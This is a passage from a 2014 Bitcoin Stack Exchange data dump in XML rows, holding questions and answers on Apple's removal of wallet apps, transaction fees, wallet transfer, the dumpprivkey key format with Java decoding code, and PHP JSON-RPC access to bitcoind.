them. About the only thing you can’t do is ignore them. Because they change things. They push the human race forward.” – Apple, Inc.&#xA;&#xA;Perhaps Apple should have added a disclaimer: “As long as the ‘rebels’ don’t threaten our profit margin”. The rebels no longer run the show at Apple Inc; the beancounters are now firmly in charge.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.blockchain.info/2014/02/07/the-media-bitcoin-community-respond-to-apple/&quot; rel=&quot;nofollow&quot;&gt;http://blog.blockchain.info/2014/02/07/the-media-bitcoin-community-respond-to-apple/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12274" LastEditorUserId="5406" LastEditDate="2022-09-05T22:43:17.900" LastActivityDate="2022-09-05T22:43:17.900" Title="Apple Removes Blockchain Bitcoin Wallet Apps from its App Stores" Tags="|wallet|client|ios|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-08T03:19:49.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="21830" PostTypeId="2" ParentId="21828" CreationDate="2014-02-08T02:20:07.687" Score="1" Body="&lt;p&gt;Apple has had plans to convert iPhones into a mobile payment centre for a long time. Since they have such a grand bulk of the market and deep-pockets, they think they can have force banks and vendors to accept it, and then earn a lot of money from profits due to being the middle man - mimmicking the wild success they had with iTunes (where they have much more leveraging power than the music firms themselves by controlling the market).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They won't accept any crypto-currency app into their official market as long as they still have that business plan. Only when such adventurous proposal is tried and fails or when the business deals go nowhere after too much time will they ever consider allowing them back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now there are tons of stuff Android phones can do that can't be done with (unjailed and unpatched) iPhones. Yet people still buy any iStuff by the dozen - so Apple executives know deep within most people don't really care about choice. Unless/until the market starts caring, that will still be their position.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-08T02:20:07.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21831" PostTypeId="1" CreationDate="2014-02-08T05:08:41.597" Score="0" ViewCount="645" Body="&lt;p&gt;example response for getting a block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;:&quot;0&quot;,&quot;result&quot;:{&quot;tx&quot;:[1ddd2f103625405389705637ab69603de692a22e86f06428a2...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there should be a &quot; after the &lt;code&gt;&quot;tx&quot;:[&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="2306" LastEditDate="2015-02-18T02:25:36.180" LastActivityDate="2015-02-18T02:25:36.180" Title="Does blockchain.info's json-rpc api return invalid json?" Tags="|blockchain.info|json-rpc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21833" PostTypeId="2" ParentId="21826" CreationDate="2014-02-08T05:55:58.077" Score="2" Body="&lt;p&gt;There are some fundamental legal problems with this, as &lt;a href=&quot;http://en.wikipedia.org/wiki/Postal_Clause&quot; rel=&quot;nofollow&quot;&gt;the Post Office is a creature of the Constitution&lt;/a&gt; and thus a creation of the United States government. It's not at all clear that the Post Office has authority to engage in brokering financial transactions. It's even doubtful that Congress has the power to &lt;em&gt;allow&lt;/em&gt; the Post Office to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, for the sake of argument, let's assume the Post Office starts brokering Bitcoin transactions. What then? Well, the point of Bitcoin (oversimplification ahead) is that it is not controlled by a government, is anonymous, and is secure. How many Bitcoin users are going to transact Bitcoin with a government agency whose job it is to route documents to people all over the planet, but is notorious for losing, mishandling, or misdelivering its cargo? I don't see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that matter, how many American citizens or politicians will support inserting the Post Office into the volatile and rapidly evolving crypto-currency world? The two things the Post Office has done predictably over the last few years, other than deliver other people's mail to me, are lose money and ask for taxpayer bailouts. Add in the complexity of a major financial institution and the possibility of a market crash, and you have the makings of a major disaster (think something like LTCM + national debt horror rolled into one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't mean I see some nefarious scheme here to &quot;take over&quot; Bitcoin or something. It just means this sounds like a hairbrained idea thought up by a bureaucrat who doesn't really know what Bitcoin actually is.&lt;/p&gt;&#xA;" OwnerUserId="9124" LastActivityDate="2014-02-08T05:55:58.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21835" PostTypeId="2" ParentId="21421" CreationDate="2014-02-08T07:24:22.997" Score="0" Body="&lt;p&gt;The answer is yes to all of your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Connecting to as many nodes that are themselves as well-connected as possible (supernodes, as your questions calls them) is beneficial because it helps spread blocks your pool finds, quickly and widely, minimizing the risk that another miner's block gets incorporated into the blockchain instead of your own. It also minimizes the risk that your pool may end up doing useless work by temporarily not being connected to the Bitcoin network at all: There is always the risk that all of your peers simultaneously leave the network, or stay but lose connection to their other peers. Being connected to many, and to those connected to particularly many others obviously helps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connecting to more than 8 peers will be beneficial because apart from directly inproving your connectivity to the Bitcoin network, it increases your chance to be connected to more well-connected supernodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A side effect, in addition to the mentioned faster propagation of your own blocks, is indeed that your pool may harvest slightly more in transaction fees. Let us assume that being well-connected means that on average you learn of a transaction within one second instead of three. Then in a typical 600 s block mining period, on average you will learn of about 0.3 % (2/600) more transactions than you otherwise would.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-02-08T07:24:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21838" PostTypeId="1" CreationDate="2014-02-08T09:38:16.177" Score="0" ViewCount="23" Body="&lt;p&gt;Armory slows my system WAY down and I am confused on the difference really. I understand the securities involved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, If I stick with Armory, Can I move it to a different computer and access it there instead of my main one?&lt;/p&gt;&#xA;" OwnerUserId="13248" LastActivityDate="2014-02-08T09:38:16.177" Title="Which is better to use, Armory or MultiBit and why?" Tags="|multibit|armory|" AnswerCount="0" CommentCount="2" ClosedDate="2014-02-11T10:34:12.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="21841" PostTypeId="2" ParentId="21309" CreationDate="2014-02-08T11:18:49.443" Score="6" Body="&lt;p&gt;Since you originally stated that you wanted to write a trading bot, perhaps you will find the following library useful: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;XChange&lt;/strong&gt;&lt;/a&gt; is a Java library providing a simple and consistent API for interacting with over a dozen Bitcoin exchanges providing a consistent interface for trading and accessing market data&quot; (according to their &lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;noreferrer&quot;&gt;GitHub page&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I cannot tell you more about it, as I just stumbled upon it by accident.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-08T11:18:49.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21842" PostTypeId="1" CreationDate="2014-02-08T11:52:13.407" Score="2" ViewCount="8577" Body="&lt;p&gt;Will mining Bitcoin slow or stop other computers on my home network? My son wants to set up a computer to mine Bitcoin but I have a daughter that attends a virtual school and uses the internet. I have charter with 30 mb/s&lt;/p&gt;&#xA;" OwnerUserId="13253" LastEditorUserId="5406" LastEditDate="2016-03-31T16:10:44.010" LastActivityDate="2018-03-21T17:16:00.887" Title="Will mining Bitcoin slow or stop other computers on my home network?" Tags="|miner-configuration|bandwidth|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21843" PostTypeId="2" ParentId="21842" CreationDate="2014-02-08T12:02:36.000" Score="3" Body="&lt;p&gt;Absolutely not. The bandwidth required to mine Bitcoin is very low as shown here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/360/what-are-the-bandwidth-requirements-of-a-mining-rig&quot;&gt;What are the bandwidth requirements of a mining rig?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So that's 700 bits per second out and about 2,000 bits per second&#xA;  back. Essentially, zero.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that your son can mine 24/7 and your daughter won't notice any slowdowns whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-10-05T18:22:14.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21846" PostTypeId="1" CreationDate="2014-02-08T13:11:31.897" Score="0" ViewCount="185" Body="&lt;p&gt;I run ubuntu 12.04 and had to reinstall the OS so I copied wallet.dat and saved them into another computer, now that I am done installing the OS and then installed dogecoind and replaced wallet.dat file but it says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;message&quot;:&quot;ReserveKeyFromKeyPool() : read failed&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-11T04:03:26.760" Title="Read failed error while wallet transfer" Tags="|wallet.dat|dogecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21847" PostTypeId="1" AcceptedAnswerId="21849" CreationDate="2014-02-08T13:31:33.183" Score="0" ViewCount="111" Body="&lt;p&gt;Some noob questions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I send someone coins, will it incur fees?&lt;/li&gt;&#xA;&lt;li&gt;If it incur fees then is it true for all other coins too?&lt;/li&gt;&#xA;&lt;li&gt;If it incur fees then can I set fee for the transaction?&lt;/li&gt;&#xA;&lt;li&gt;If I can set fee for transaction then what will be its impact if the fees is low or high? What if I set no fee at all?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7362" LastEditorUserId="7362" LastEditDate="2014-02-08T13:41:10.137" LastActivityDate="2014-02-08T13:41:10.137" Title="Does sending coins to someone incur fees?" Tags="|transaction-fees|network|" AnswerCount="2" CommentCount="2" ClosedDate="2014-02-10T13:15:00.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="21848" PostTypeId="2" ParentId="21847" CreationDate="2014-02-08T13:39:50.220" Score="1" Body="&lt;p&gt;Yes it incurs fees but it is as low as 0.001 so it doesn't really bother. Moreover you can set what fees you want to pay from the QT if you are running QT on windows you can set it by navigating to Settings &gt;&gt; Options &gt;&gt; Main and then fill the box which says &quot;Pay transaction fee&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are running headles QT on linux then run bitcoind settxfee &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time taken by a transaction depends whether you are paying fees or not if you are not paying fees your transaction will take more time than usual &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-08T13:39:50.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21849" PostTypeId="2" ParentId="21847" CreationDate="2014-02-08T13:39:50.640" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes it will since you need to give money to miners in order for them to keep up the work of securing the network.&lt;/li&gt;&#xA;&lt;li&gt;What do you mean by &quot;all other coins&quot;?&lt;/li&gt;&#xA;&lt;li&gt;You can set the fee for your transaction yourself, but if it's too low it might not be picked up by miners. Remember they're looking to include transactions with highest fees first, since they'll be getting the fees themselves.&lt;/li&gt;&#xA;&lt;li&gt;If the fee is too low, the miners might not include your transaction in the next block. This might mean that it could take a long time for your transaction to be confirmed. Sometimes it happens that it doesn't get confirmed at all, even after waiting a long time, and you have to send the transaction again with a higher fee. If the fee is too high, well, the transaction will most likely get picked up immediately and get confirmed as soon as possible.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-08T13:39:50.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21850" PostTypeId="1" AcceptedAnswerId="21851" CreationDate="2014-02-08T14:38:59.900" Score="1" ViewCount="5796" Body="&lt;p&gt;I have to format my pc, so I have downloaded a BTC wallet also on my tablet. Is there a way to send BTC without commission fees?&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2014-02-08T23:24:26.297" Title="Transfer BTC between two wallet in two different devices?" Tags="|wallet|transaction-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21851" PostTypeId="2" ParentId="21850" CreationDate="2014-02-08T15:23:08.490" Score="1" Body="&lt;p&gt;It might be possible to export the private keys from your PC wallet and import them into your tablet's wallet. The details and practicality of this would depend on which wallet software you are using at each end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would certainly be easier just to create an address on the tablet and send all the coins there. You may have to pay a transaction fee (most people don't call it &quot;commission&quot;) but it's not likely to be more than a few pennies.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-02-08T15:23:08.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21853" PostTypeId="2" ParentId="21850" CreationDate="2014-02-08T15:40:59.797" Score="1" Body="&lt;h1&gt;Addresses&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;each account is represented by an address. which address has what amount of funds, is stored on the blockchain (the bitcoin network) for everyone to see. it's not only stored locally by your client. every client on the bitcoin network has a copy of the complete blockchain.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Transactions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;a transaction means sending funds from one address to another. usually after a few clients confirm the transaction, it is safe to assume that it has been processed. transactions are the only time there could be a fee.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Private Key&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;but to be able to do a transaction (send funds). you need the private key (this is like a password), of the address sending the funds. so if you have an address and it's secret key, you own that address because you can control it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Deleting Everything&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;if you delete everything from your pc (ex: by formatting), you will lose your funds because the address and secret key are stored there (it's like throwing away your login information).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;you can keep using the same address(es) if you transfer this information (each address &amp;amp; it's private key) to the new client (on your tablet) and format your pc, then you're done. this does not involve any transaction. [this may be more complicated though as Nate suggests]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before you do anything, make a backup of (each address &amp;amp; it's key). some clients use more than 1 address so there may be more to backup (i suggest also printing each address and it's private key).&lt;/p&gt;&#xA;" OwnerUserId="5131" LastEditorUserId="11253" LastEditDate="2014-02-08T23:24:26.297" LastActivityDate="2014-02-08T23:24:26.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21854" PostTypeId="1" AcceptedAnswerId="21863" CreationDate="2014-02-08T15:55:38.910" Score="2" ViewCount="1006" Body="&lt;p&gt;Just out of curiosity, would it be possible to use a lot of RAM and treat it as an FPGA capable of mining other cryptocurrencies, or would it be too expensive to implement and not worth it?&lt;/p&gt;&#xA;" OwnerUserId="13192" LastEditorUserId="5406" LastEditDate="2016-03-17T14:37:30.667" LastActivityDate="2016-03-17T14:37:30.667" Title="Simulate an FPGA/ASIC on RAM for mining?" Tags="|mining-hardware|fpga|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21855" PostTypeId="2" ParentId="21850" CreationDate="2014-02-08T16:08:08.793" Score="0" Body="&lt;p&gt;Are you re-installing your PC? If that's the case you can back up your wallet, then restore it after the re-install. The wallet you use should have instructions on how to do that.&lt;/p&gt;&#xA;" OwnerUserId="13262" LastActivityDate="2014-02-08T16:08:08.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21856" PostTypeId="2" ParentId="21854" CreationDate="2014-02-08T16:10:30.883" Score="1" Body="&lt;p&gt;Your CPU would still be performing the calculations, and so you'd see a slower speed than if you used a CPU miner. &lt;/p&gt;&#xA;" OwnerUserId="13262" LastActivityDate="2014-02-08T16:10:30.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21858" PostTypeId="1" CreationDate="2014-02-08T16:19:01.513" Score="1" ViewCount="241" Body="&lt;p&gt;When ever the BTC prices are crashing, MT Gox prices are discounted. What is the logic behind it?&lt;/p&gt;&#xA;" OwnerUserId="11653" LastActivityDate="2014-02-25T22:17:38.597" Title="Why does Mt gox BTC price discounted with other exchanges?" Tags="|bitcoind|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21859" PostTypeId="1" AcceptedAnswerId="21864" CreationDate="2014-02-08T17:02:03.477" Score="5" ViewCount="1854" Body="&lt;p&gt;I'm trying to use the results of Dumpprivkey to sign a message outside of the QT client, however I'm either having a problem signing or extracting the real value of the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What encoding, endian, or format is Dumpprivkey in?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it's Base58 encoded...&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-08T19:52:22.000" Title="What encoding or format is the private key in Dumpprivkey?" Tags="|development|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21861" PostTypeId="2" ParentId="21859" CreationDate="2014-02-08T18:02:53.333" Score="1" Body="&lt;p&gt;It is Base58 encoded with an initial version byte and 4 checksum bytes on the end.  The version byte indicates the network (production network=128 and test network=239).  The checksum is the first 4 bytes of the double SHA-256 hash of the version and key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some Java code which creates the private key from the dumped format:&#xA;&lt;code&gt;&lt;pre&gt;&#xA;public DumpedPrivateKey(String string) throws AddressFormatException {&#xA;        //&#xA;        // Decode the private key&#xA;        //&#xA;        byte[] decodedKey = Base58.decodeChecked(string);&#xA;        int version = (int)decodedKey[0]&amp;amp;0xff;&#xA;        if (version != Parameters.DUMPED_PRIVATE_KEY_VERSION)&#xA;            throw new AddressFormatException(String.format(&quot;Version %d is not correct&quot;, version));&#xA;        //&#xA;        // The private key length is 33 for a compressed public key, otherwise it is 32&#xA;        //&#xA;        if (decodedKey.length == 33+1 &amp;amp;&amp;amp; decodedKey[33] == (byte)1) {&#xA;            isCompressed = true;&#xA;            privKeyBytes = Arrays.copyOfRange(decodedKey, 1, decodedKey.length-1);&#xA;        } else if (decodedKey.length == 32+1) {&#xA;            isCompressed = false;&#xA;            privKeyBytes = Arrays.copyOfRange(decodedKey, 1, decodedKey.length);&#xA;        } else {&#xA;            throw new AddressFormatException(&quot;Private key length is incorrect&quot;);&#xA;        }&#xA;    }&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;&lt;code&gt;&lt;pre&gt;&#xA;    public static byte[] decodeChecked(String string) throws AddressFormatException {&#xA;        //&#xA;        // Decode the string&#xA;        //&#xA;        byte[] decoded = decode(string);&#xA;        if (decoded.length &amp;lt; 4)&#xA;            throw new AddressFormatException(&quot;Decoded string is too short&quot;);&#xA;        //&#xA;        // Verify the checksum contained in the last 4 bytes&#xA;        //&#xA;        byte[] bytes = Arrays.copyOfRange(decoded, 0, decoded.length-4);&#xA;        byte[] checksum = Arrays.copyOfRange(decoded, decoded.length-4, decoded.length);&#xA;        byte[] hash = Arrays.copyOfRange(Utils.doubleDigest(bytes), 0, 4);&#xA;        if (!Arrays.equals(hash, checksum))&#xA;            throw new AddressFormatException(&quot;Checksum is not correct&quot;);&#xA;        //&#xA;        // Return the result without the checksum bytes&#xA;        //&#xA;        return bytes;&#xA;    }&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-08T18:02:53.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21862" PostTypeId="1" CreationDate="2014-02-08T18:03:28.350" Score="1" ViewCount="147" Body="&lt;ol&gt;&#xA;&lt;li&gt;What are the current rules regarding transaction fees?&lt;/li&gt;&#xA;&lt;li&gt;What transactions are broadcasted by the QT-Client?&lt;/li&gt;&#xA;&lt;li&gt;How to the big pools act - what kind of transactions do say include in their blocks?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The background of the question: We are building a site where people can deposit bitcoins. Interact with the site to increase or decrease their balance and finally cash out to a Bitcoin address. (Like any Exchange, oder Just-Dice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, we want to pay as little transaction fees as possible but still have reliable cash outs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best strategy to minimize fees?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="5406" LastEditDate="2014-02-09T00:50:24.203" LastActivityDate="2014-02-09T00:50:24.203" Title="Overview of the fee structure and strategy to minimize fees?" Tags="|transactions|transaction-fees|" AnswerCount="0" CommentCount="3" ClosedDate="2014-02-22T03:24:38.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="21863" PostTypeId="2" ParentId="21854" CreationDate="2014-02-08T18:17:14.120" Score="5" Body="&lt;p&gt;The statement &quot;treat it as an FPGA&quot; doesn't make sense. Both RAM and FPGA (or ASIC) are electronics but that's where the comparison ends. RAM is designed for one specific task and cannot by itself do calculations required for mining.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-08T18:17:14.120" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21864" PostTypeId="2" ParentId="21859" CreationDate="2014-02-08T19:52:22.000" Score="6" Body="&lt;p&gt;The format is base58check, with 0x80 as version byte (for Bitcoin mainnet, at least), and an optional suffix 0x01 byte to indicate that the corresponding public key is compressed. So combined:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;base58(0x80 | 32-byte big-endian secret parameter | checksum) for uncompressed public keys&lt;/li&gt;&#xA;&lt;li&gt;base58(0x80 | 32-byte big-endian secret parameter | 0x01 | checksum) for compressed public keys&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-08T19:52:22.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21865" PostTypeId="2" ParentId="8101" CreationDate="2014-02-08T21:31:17.280" Score="4" Body="&lt;p&gt;I'm working on this right now.  Currently, I have online and offline armory set up to use the USB key as has been described here before.  I just created a new android app that will peer with the bitcoin network, and allow you to scan a QR code representing ANY signed transaction, and broadcast it to the peers.  This makes it so you can do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make an unsigned transaction in armory&lt;/li&gt;&#xA;&lt;li&gt;Create a QR code from it&lt;/li&gt;&#xA;&lt;li&gt;Scan it with phone (so far, QR Droid and Barcode Scanner work)&lt;/li&gt;&#xA;&lt;li&gt;Take phone to offline wallet&lt;/li&gt;&#xA;&lt;li&gt;Display QR code for unsigned transaction on phone (using history in QR droid works well)&lt;/li&gt;&#xA;&lt;li&gt;Scan using webcam in offline wallet computer (I successfully did this with the zbar Linux application in Ubuntu - package details to follow)&lt;/li&gt;&#xA;&lt;li&gt;Sign tx with offline armory&lt;/li&gt;&#xA;&lt;li&gt;Display QR code for signed tx (more packages to follow)&lt;/li&gt;&#xA;&lt;li&gt;Scan with new android app to broadcast&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is almost done - the app is currently peering with bitcoin nodes and will scan the QR code and send it to a broadcasting activity, but the broadcast part and the parsing of the armory format remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: Implemented.  &lt;a href=&quot;http://www.youtube.com/watch?v=ZlSC3mLjNSg&quot; rel=&quot;noreferrer&quot;&gt;Watch the video&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python code &lt;a href=&quot;https://github.com/hank/armorycompanion-python&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Android app code &lt;a href=&quot;https://github.com/hank/armorycompanion&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13268" LastEditorUserId="13268" LastEditDate="2014-02-09T23:05:12.560" LastActivityDate="2014-02-09T23:05:12.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21868" PostTypeId="1" CreationDate="2014-02-08T22:37:45.260" Score="2" ViewCount="2098" Body="&lt;p&gt;Just wondering if this is even possible.  If so, are there any practical reasons not to?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2014-02-09T14:06:12.013" Title="Would it be theoretically possible to make a Cryptocurrency in a scripting language like PHP, Python, or Ruby?" Tags="|development|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21869" PostTypeId="2" ParentId="21868" CreationDate="2014-02-08T23:01:22.090" Score="3" Body="&lt;p&gt;Yes, it is possible. A cryptocurrency is essentially a set of rules and network protocols that nodes can use to talk to one another to implement those rules. The reference implementation Bitcoin-Qt is implemented in C++, but there are other implementations (eg. Java). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part about implementing a client for an existing cryptocurrency in another programming language is that you must be careful to implement the rules in &lt;em&gt;exactly&lt;/em&gt; the same way as all other implementations. If there are any changes (even such as fixing bugs present in the original) then the blockchain may fork and your client would need a patch to continue participating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're creating a new cryptocurrency from scratch, of course you don't need to be concerned with replicating bugs in an existing client. However, you run the risk of introducing a whole new set of bugs.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-08T23:01:22.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21871" PostTypeId="1" CreationDate="2014-02-09T00:38:37.973" Score="1" ViewCount="2042" Body="&lt;p&gt;I'm pursuing an idea for a web app I had and I've hit a road block. I've worked with many other JSON APIs using php but I've never been introduced to this RPC side of things. I've done reading but still stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a local bitcoin server using the bitcoin-qt.exe -server command in windows and I've used the resulting console to receive api responses. I'm now confused about how I go about connecting my web app to that server so I can make those calls from my php file and this let users interact with the bitcoin network from the webpage.&lt;/p&gt;&#xA;" OwnerUserId="13273" LastActivityDate="2014-02-09T04:46:44.500" Title="Setting up remote bitcoin server control PHP" Tags="|json-rpc|server|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21872" PostTypeId="2" ParentId="21871" CreationDate="2014-02-09T01:04:02.627" Score="1" Body="&lt;p&gt;The Bitcoin wiki is going to a great source for developing your web app. This page describes the process and makes everthing generally less confusing when using PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;PHP Developer Intro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're going to need this &lt;a href=&quot;http://jsonrpcphp.org/&quot; rel=&quot;nofollow&quot;&gt;library&lt;/a&gt;. To start you first connect to your node like so, the following should also print out some basic info about your node.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;&#xA;$bitcoin = new jsonRPCClient('http://user:password@127.0.0.1:8332/');&#xA;&#xA;echo &quot;&amp;lt;div&amp;gt;\n&quot;;&#xA;&#xA;print_r($bitcoin-&amp;gt;getinfo());&#xA;echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to do stuff like get a new address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sendaddress = $bitcoin-&amp;gt;getnewaddress();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For other commands check out the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API reference&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-09T01:04:02.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21878" PostTypeId="2" ParentId="21858" CreationDate="2014-02-09T02:25:49.870" Score="3" Body="&lt;p&gt;MtGox has stopped allowing people to withdraw bitcoins off of the site. What this means is that in an attempt to get money off the site everybody sells their bitcoins to begin wire transfers. When you have a bunch of people selling and no one buying, the price drops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mtgox's prices often get discounted because they are isolated from the rest of the bitcoin market, as no one is able to transfer funds from the rest of the market onto MtGox, and vice versa. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-02-09T02:25:49.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
